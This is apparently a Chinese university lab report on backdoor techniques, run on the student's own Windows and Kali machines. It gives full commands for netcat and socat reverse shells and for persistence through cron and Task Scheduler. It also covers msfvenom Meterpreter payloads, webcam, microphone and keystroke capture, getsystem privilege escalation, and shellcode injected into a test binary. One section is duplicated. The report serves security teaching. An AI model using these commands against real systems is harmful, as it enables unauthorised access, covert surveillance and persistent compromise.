1.实验内容
1.1 本周学习内容
- 后门技术:学习了后门的定义及其在网络安全中的作用。后门是一种隐秘的进入方式,允许攻击者绕过正常的认证机制,获取系统访问权限。在实验中实践了如何利用后门获取shell。
- netcat:可以用于创建TCP/UDP连接,实现远程shell访问和文件传输。
- socat:功能更强大,支持多种协议和数据流,能实现跨平台的后门连接,并结合任务计划启动后门。
- MSF meterpreter:学习了如何通过MSF meterpreter生成恶意代码,传输至目标主机以获取shell。此外,还使用它获取目标主机的音频、摄像头、击键记录等隐私数据,并进行提权操作。
- 免杀技术:免杀技术的目标是通过混淆代码、多态性等方法绕过杀毒软件的检测。
- 学习了如何生成shellcode并通过缓冲区溢出漏洞注入系统,最终获取反弹连接的shell。
1.2 实践目标
- 使用netcat获取主机操作shell,cron启动某项任务(任务自定)
- socat获取主机操作shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接shell。
1.3 问题回答
1.3.1 例举你能想到的一个后门进入到你系统中的可能方式
通过社会工程学攻击,被诱导下载并运行伪装成正常软件的恶意程序,如邮件中的附件、假冒的软件下载链接,恶意程序中隐藏的后门会进入系统。
1.3.2 例举你知道的后门如何启动起来(win及linux)的方式
在windows系统中,后门可以通过任务计划(Task Scheduler)自动启动,绑定恶意程序在特定时间执行。
在linux中,后门常通过cron定时任务启动,攻击者可以配置定时任务来执行反向shell或启动其他恶意操作。
1.3.3 Meterpreter有哪些给你映像深刻的功能?
获取摄像头视频或照片的功能(webcam_snap)、录制目标设备麦克风音频(record_mic)、实时监控键盘输入的击键记录功能(keyscan_start)以及通过漏洞利用模块进行权限提升(getsystem)。
1.3.4 如何发现自己有系统有没有被安装后门?
检查系统中运行的可疑进程、网络连接、计划任务,或使用入侵检测系统(IDS)和杀毒软件扫描来发现是否存在后门。
2.实验过程
2.1 使用netcat获取主机操作shell并设置cron任务
在本部分实验中,我们将使用netcat来获取远程shell,并通过linux的cron任务来实现自动化定时反弹连接。整个实验过程会涉及到两台主机,一台是windows主机,另一台是linux主机。我们将通过netcat在两台主机之间建立shell连接,并设置定时任务来维持反弹shell连接。
2.1.1 使用netcat获取主机shell
2.1.1.1 获取windows和linux主机IP
在windows主机的命令提示符下输入ipconfig,结果如图1所示。可见windows主机的ip地址为:192.168.43.33
在linux主机的终端下输入ifconfig,结果如图2所示。可见linux主机的ip地址为:192.168.21.131
图1:windows主机IP地址
图2:linux主机IP地址
2.1.1.2 配置windows主机
首先,在windows主机上开启netcat监听。
下载netcat后,用cmd进入命令提示符,进入nc.exe文件所在路径,使用学号作为端口号,使用以下命令启动监听:
nc -l -p 2409
- 命令格式:
nc -l -p [端口号]
- 命令参数解释:
nc: netcat工具的可执行文件,笔者下载的版本中有nc.exe和nc64.exe两个。
-l: 监听模式,让netcat在指定的端口上等待连接。
-p 2409: 指定监听的端口号,这里使用学号2409。
- 命令作用:该在windows主机上启动netcat,监听 2409 端口,等待来自linux主机的连接。
2.1.1.3 在linux主机上反弹shell到windows主机
接下来,我们在linux主机上启动netcat并发起一个反向连接,获取windows主机的控制权。。
在linux主机上运行以下命令来连接windows主机:
nc 192.168.43.33 2409 -e /bin/sh
- 命令格式:
nc [目标IP地址] [端口号] -e /bin/sh
- 命令参数解释:
nc: 在linux系统上使用的netcat命令。
192.168.43.33: 目标主机(windows主机)的IP地址。
2409: windows主机上正在监听的端口号,,这里使用学号2409
-e /bin/sh: 在反向连接建立后,linux将执行/bin/sh,从而将shell交给远程主机。
- 命令作用:该命令通过netcat向windows主机发起连接,连接成功后,linux主机的shell将绑定到此连接上,使windows主机能够控制linux。
2.1.1.4 验证windows和linux的连接
一旦连接成功,windows主机的cmd窗口将允许通过windows执行linux命令。
尝试在windows主机上运行一些简单的linux命令,如whoami和ls,进行测试,结果如图3所示,说明连接成功。
图3:windows与linux连接验证
2.1.2 设置cron定时任务
2.1.2.1 编辑crontab文件
为了使反弹连接自动执行,我们需在linux端设置cron任务。cron是linux系统的定时任务调度程序,能够定期执行指定的命令。在本实验中,cron任务将每小时定时发起反弹连接,命令如下:
crontab -e
- 命令参数解释:
crontab:用于管理定时任务的命令。
-e:编辑当前用户的cron任务。
- 命令作用: 打开当前用户的cron任务编辑界面,允许我们添加或修改定时任务。
初次进入需要选择模式(如图4所示),输入2选择/usr/bin/vim.basic
图4:crontab编辑器选择
2.1.2.2 添加定时任务
在编辑器中打开crontab文件后,我们可以添加一个定时任务,定期执行反弹shell的命令。这里我们配置每小时的第39分钟通过netcat向windows主机发起连接。
键盘敲击i,进入insert模式,输入以下命令,结果如图5所示。
39 * * * * /bin/nc 192.168.43.33 2409 -e /bin/bash
- cron语法格式:
[分钟] [小时] [日] [月] [星期] [要执行的命令]
- 命令作用: 使linux主机在每小时的第39分钟,向windows主机的IP地址 192.168.43.33 发起一个 netcat 连接,并通过端口2409获取目标shell,建立起反向shell连接。
图5:添加cron定时任务
随后键盘敲击esc,之后输入:wq
保存并退出。
如需查看时程表,可输入crontab -l
2.1.2.3 验证cron任务是否生效
在39分时,linux主机会通过cron任务自动发起与windows主机的连接,成功后,windows主机将获取linux的shell权限。此时,在windows的终端中可以输入命令,如pwd,以确认连接是否成功。结果如图6所示,输出为linux的工作目录路径,表示cron任务生效。
图6:验证cron任务反弹连接
2.2 使用socat获取主机操作shell并通过windows任务计划启动
在本节实验中,我们通过socat工具在windows系统上执行命令,并使用windows的任务计划程序启动反向shell连接,实现从linux控制windows系统的操作。
2.2.1 在windows上创建计划任务,通过socat监听端口并反向连接到linux
首先,确保windows上已经安装了socat。如果尚未安装,可以通过下载windows版本的socat(github.com/valorisa/socat-1.8.0.1_for_windows)
在windows命令行状态下进入socat文件夹,输入以下命令:
socat.exe tcp-listen:2409 exec:cmd.exe,pty,stderr
- 命令格式:
socat tcp-listen:<端口号> exec:<可执行文件>,pty,stderr
- 命令参数解释:
tcp-listen:2409:指定监听端口为2409,等待linux主机连接。
exec:cmd.exe:指定执行的命令为cmd.exe,即当连接建立时运行windows命令行。
pty:分配伪终端,使得程序的输出可以正确显示。
stderr:重定向标准错误流,以确保错误信息不会丢失。
- 命令作用: 在windows端监听端口2409,并在有连接时执行命令行(cmd.exe),实现远程shell控制。
2.2.2 在linux端建立连接
在linux主机的终端下输入以下命令:
socat - tcp:192.168.43.33:2409
- 命令格式:
socat - tcp:<windows_IP地址>:<端口号>
- 命令作用: 在linux主机上发起连接请求,与windows主机建立TCP连接,并通过端口2409获取远程shell。
2.2.3 通过任务计划设置定期触发
编写示例程序,代码如图7所示:
图7:socat任务计划示例程序
在在windows命令行状态下进入socat文件夹,输入以下命令:
schtasks /create /sc minute /mo 1 /tn "20222409wqb_socat" /tr E:\ACMLearning\test.exe
- 命令参数解释:
/sc minute:指定任务以每分钟为单位定时触发。
/mo 1:每1分钟触发一次。
/tn "20222409wqb_socat":任务名称
/tr E:\ACMLearning\test.exe:触发文件路径
win+x打开计算机管理,找到20222409wqb_socat任务,如图8所示:
图8:windows任务计划列表
运行后,wqb20222409.txt的内容如图9所示,任务2完成:
图9:任务计划执行结果
2.3 使用MSF meterpreter生成可执行文件,通过ncat传送并获取shell
在本实验步骤中,我们将使用 Metasploit Framework (MSF) 中的 msfvenom 工具生成一个带有反向连接功能的后门可执行文件,之后通过 ncat 工具将该后门文件传送到windows主机,并执行获取远程shell。
2.3.1 使用 msfvenom 生成后门可执行文件
首先,我们使用 msfvenom 来生成一个反向TCP连接的后门程序。该程序将在windows主机执行并建立反向连接到我们的Kali linux主机,允许我们在Kali上控制windows的shell。
在linux下运行如下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f exe > wqb_20222409_backdoor.exe
- 命令格式:
msfvenom -pLHOST= LPORT= -f >
- 命令参数解释:
-p windows/meterpreter/reverse_tcp:指定生成windows平台的 Meterpreter 反向TCP连接的Payload。
LHOST=192.168.21.131:指定本地监听的IP地址,即Kali linux的IP(攻击者机器的IP)。
LPORT=2409:指定监听的端口号
-f exe:生成 .exe 格式的可执行文件。wqb_20222409_backdoor.exe:将生成的后门文件保存为 wqb_20222409_backdoor.exe
- 命令作用: 此命令利用 msfvenom 生成一个windows可执行文件,该文件在运行时将反向连接到Kali linux主机的指定IP和端口,提供一个远程控制shell。
结果如图10所示
图10:MSF生成后门文件
2.3.2 通过 ncat 将后门文件传送至windows主机
在windows命令行状态下进入netcat文件夹,输入以下命令:
nc -l -p 2409 > wqb_20222409_backdoor.exe
- 命令格式:
nc -l -p <port> > <output-file>
- 命令参数解释:
-l:启动监听模式。
-p 2409:监听的端口号为2409,需与之前生成后门时指定的端口保持一致。wqb_20222409_backdoor.exe:指定要保存的文件名称,与Kali linux上生成的后门文件名一致。
- 命令作用: windows主机开始监听端口2409,等待Kali linux传送文件并将其保存为 wqb_20222409_backdoor.exe。
在Kali linux上执行文件传送命令:
nc 192.168.43.33 2409 < wqb_20222409_backdoor.exe
- 命令格式:
ncat <target-IP> <port> < <file>
- 命令参数解释:
192.168.43.33:windows主机的IP地址。
2409:传输文件的端口号。
< wqb_20222409_backdoor.exe:指定要传送的后门文件。
- 命令作用: 该命令通过ncat 将后门文件 wqb_20222409_backdoor.exe 从Kali linux传输至windows主机。
结果如图11所示:
图11:ncat传送后门文件
2.3.3 在Kali linux上启动监听并等待反向连接
当后门文件在windows主机上执行后,它会尝试与Kali linux主机建立反向连接。为了捕获这个连接,我们需要在Kali linux上通过 Metasploit 启动监听。
在linux下输入以下指令启动Metasploit控制台:
msfconsole
使用 exploit/multi/handler 模块进行监听:
use exploit/multi/handler
设置Payload和监听参数:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.21.131
set LPORT 2409
随后在windows端netcat目录下运行后门程序:
D:\netcat-win32-1.12> wqb_20222409_backdoor.exe
在linux端启动监听:
exploit
随后,可以看到类似图12的界面,即为Meterpreter界面显示成功的连接信息
图12:Meterpreter连接成功
2.4 使用MSF meterpreter生成后门,获取音频、摄像头及击键记录,并尝试提权
在本节实验中,我们将使用 Metasploit Framework (MSF) 的 Meterpreter 模块,生成并部署一个后门程序,以获取目标系统的音频、摄像头和击键记录等信息。与此同时,还将尝试提权操作,以进一步提升攻击者的权限,达到更高级别的控制。
2.4.1 生成后门文件
首先,我们使用 MSFVenom 工具生成一个可以执行的后门程序。该程序在运行后,将通过反向连接(reverse TCP)连接到攻击者的Kali linux主机,从而获取对目标系统的控制。
在任务3的基础上键入
record_mic -d 10
screenshot
webcam_snap
keyscan_start
keyscan_dump
- 命令参数解释:
record_mic:录制目标主机麦克风音频。
-d 10:录制时长为10秒。
screenshot:截取目标主机当前屏幕的内容,并将截图文件返回给攻击者。
webcam_snap:通过目标主机的摄像头拍摄一张图片,并将其传回给攻击者。
keyscan_start:启动击键记录。
keyscan_dump:输出并查看击键记录。
获取结果如图13、14所示:
图13:获取音频与截图
图14:获取后终端结果
为了获取更高权限,继续键入:
getuid
getsystem
结果如图15所示:
由图可知,使用 getuid 命令后,返回了目标系统的用户名为王勤博,其主机名为LAPTOP-P5NMF6J1。这表明攻击者已经成功在目标主机上建立了有效的Meterpreter会话,获取到了当前用户的身份信息。
使用 getsystem 命令后,系统提示攻击者成功通过 Technique 1 提权,具体方法为Named Pipe Impersonation。这意味着攻击者已获得了系统级别的权限,攻击者可以完全控制目标系统。
图15:提权操作结果
2.5 使用MSF生成shellcode并注入到pwn1中,获取反弹shell
在此步骤中,我们将利用Metasploit Framework(MSF)生成一个shellcode,并将其注入到易受攻击的程序(pwn1)中,从而获取反向连接的shell。
2.5.1 生成shellcode并注入到pwn20222409
首先,我们使用 msfvenom 工具生成一个针对linux的反向连接shellcode,并将其注入到实验一中使用的脆弱程序(pwn20222409)中。生成的文件将保存为 pwn20222409wqb。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -x /home/kali/Desktop/pwn20222409 -f elf > /home/wangqinbo/Desktop/pwn20222409wqb
- 命令格式:
msfvenom -pLHOST= LPORT= -x -f >
- 命令参数解释:
-p linux/x86/meterpreter/reverse_tcp:指定使用linux x86架构的反向TCP连接的Meterpreter会话作为payload。
LHOST=192.168.21.131:Kali linux的IP地址,用于反弹连接到攻击者主机。
LPORT=2409:监听的端口号。
-x /home/kali/Desktop/pwn20222409:指定脆弱程序pwn20222409作为模板文件,shellcode将被注入其中。
-f elf:指定输出文件的格式为ELF(linux可执行文件格式)。/home/wangqinbo/Desktop/pwn20222409wqb:文件保存路径。
- 命令作用:通过 msfvenom 生成一个适合linux x86平台的反向连接shellcode,并将其注入到模板文件 pwn20222409 中,生成的文件将保存为 pwn20222409wqb。这个文件将在目标主机上执行时与Kali linux主机建立反向连接,从而使攻击者获得对目标主机的控制权。
2.5.2 启动MSF监听模块
在生成了注入shellcode的程序之后,需要在Kali主机上设置一个监听器,以等待目标主机的反向连接。我们使用Metasploit的 exploit/multi/handler 模块进行监听。
使用2.4中一样的命令
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.21.131
set LPORT 2409
exploit
2.5 使用MSF生成shellcode并注入到pwn1中,获取反弹连接shell
本实验的第五步旨在使用Metasploit Framework(MSF)生成反向连接shellcode,并将其注入到一个存在漏洞的程序(pwn20222409)中,从而在攻击者主机上获取目标主机的反向shell。该过程分为生成shellcode、注入shellcode、启动监听器、执行攻击、并最终获取目标主机控制权的多个步骤。
2.5.1 生成shellcode并注入到pwn20222409
首先,我们使用 msfvenom 工具生成一个针对linux的反向连接shellcode,并将其注入到实验一中使用的脆弱程序(pwn20222409)中。生成的文件将保存为 pwn20222409wqb。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -x /home/wangqinbo/Desktop/pwn20222409 -f elf > /home/wangqinbo/Desktop/pwn20222409wqb
- 命令格式:
msfvenom -pLHOST= LPORT= -x -f >
- 命令参数解释:
-p linux/x86/meterpreter/reverse_tcp:指定使用linux x86架构的反向TCP连接的Meterpreter会话作为payload。
LHOST=192.168.21.131:Kali linux的IP地址,用于反弹连接到攻击者主机。
LPORT=2409:监听的端口号。
-x /home/wangqinbo/Desktop/pwn20222409:指定脆弱程序pwn20222409作为模板文件,shellcode将被注入其中。
-f elf:指定输出文件的格式为ELF(linux可执行文件格式)。/home/wangqinbo/Desktop/pwn20222409wqb:文件的保存路径
- 命令作用:通过 msfvenom 生成一个适合linux x86平台的反向连接shellcode,并将其注入到模板文件 pwn20222409 中,生成的文件将保存为 pwn20222409wqb。这个文件将在目标主机上执行时与Kali linux主机建立反向连接,从而使攻击者获得对目标主机的控制权。
2.5.2 启动MSF监听模块
在生成了注入shellcode的程序之后,需要在Kali主机上设置一个监听器,以等待目标主机的反向连接。我们使用Metasploit的 exploit/multi/handler 模块进行监听。
使用2.4类似的命令:
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.21.131
set LPORT 2409
2.5.3 执行生成的shellcode
现在,目标主机需要执行注入了shellcode的可执行文件 pwn20222409wqb,从而触发反向连接。首先,我们需要为该文件赋予执行权限,然后运行它。
linux主机新建一个终端,输入
cd Desktop
chmod +x pwn20222409wqb
./pwn20222409wqb
之后原终端,输入exploit
触发,结果如图16所示:
图16:pwn20222409wqb反弹连接成功
3.问题及解决方案
- 问题1:时程表选择错误。未选择2:/usr/bin/vim.basic
- 问题1解决方案:使用命令
select-editor
重新选择 - 问题2:windows下命令行报错
图17:windows命令行报错 - 问题2解决方案:命令行进入netcat文件夹下,并把ncat.exe改成nc
- 问题3:netcat中的nc.exe、nc64.exe被杀毒软件删除
- 问题3解决方案:退出火绒,关闭防火墙
- 问题4:crontab需要root权限
- 问题4解决方案:用
sudo su
进入管理员模式,或者在命令前加上sudo,执行一条需要 root 权限的命令,而不完全切换到 root 用户 - 问题5:报错:(UNKNOWN) [192.168.1.115] 2409 (?) : Connection refused
- 问题5解决方案:用管理员权限
- 问题6:出现乱码
- 问题6解决方案:输入命令
chcp 65001
4.学习感悟、思考等
本次实验使我深刻理解了后门技术在网络攻防中的应用与危害。通过实践,掌握了如何利用工具如Netcat、Socat和MSF Meterpreter获取远程Shell,并执行复杂的渗透任务,在绕过安全机制和实现反向连接时,增强了对攻击路径的洞察。在操作过程中,亲身体验了免杀技术的重要性,了解攻击者如何通过混淆代码等方式规避杀毒软件的检测。同时,本次实验也让我认识到,防御侧不仅需要依赖防火墙与杀毒软件,还应结合实时监控与日志分析等手段,提高对系统后门的检测能力。
参考资料
- socat-1.8.0.1_for_Windows
- windows下CMD常用命令
- 0x21_MAL_后门原理与实践.md
- Linux下不保存退出以及相关退出命令
- Linux开机启动、利用crontab实现开机启动某个程序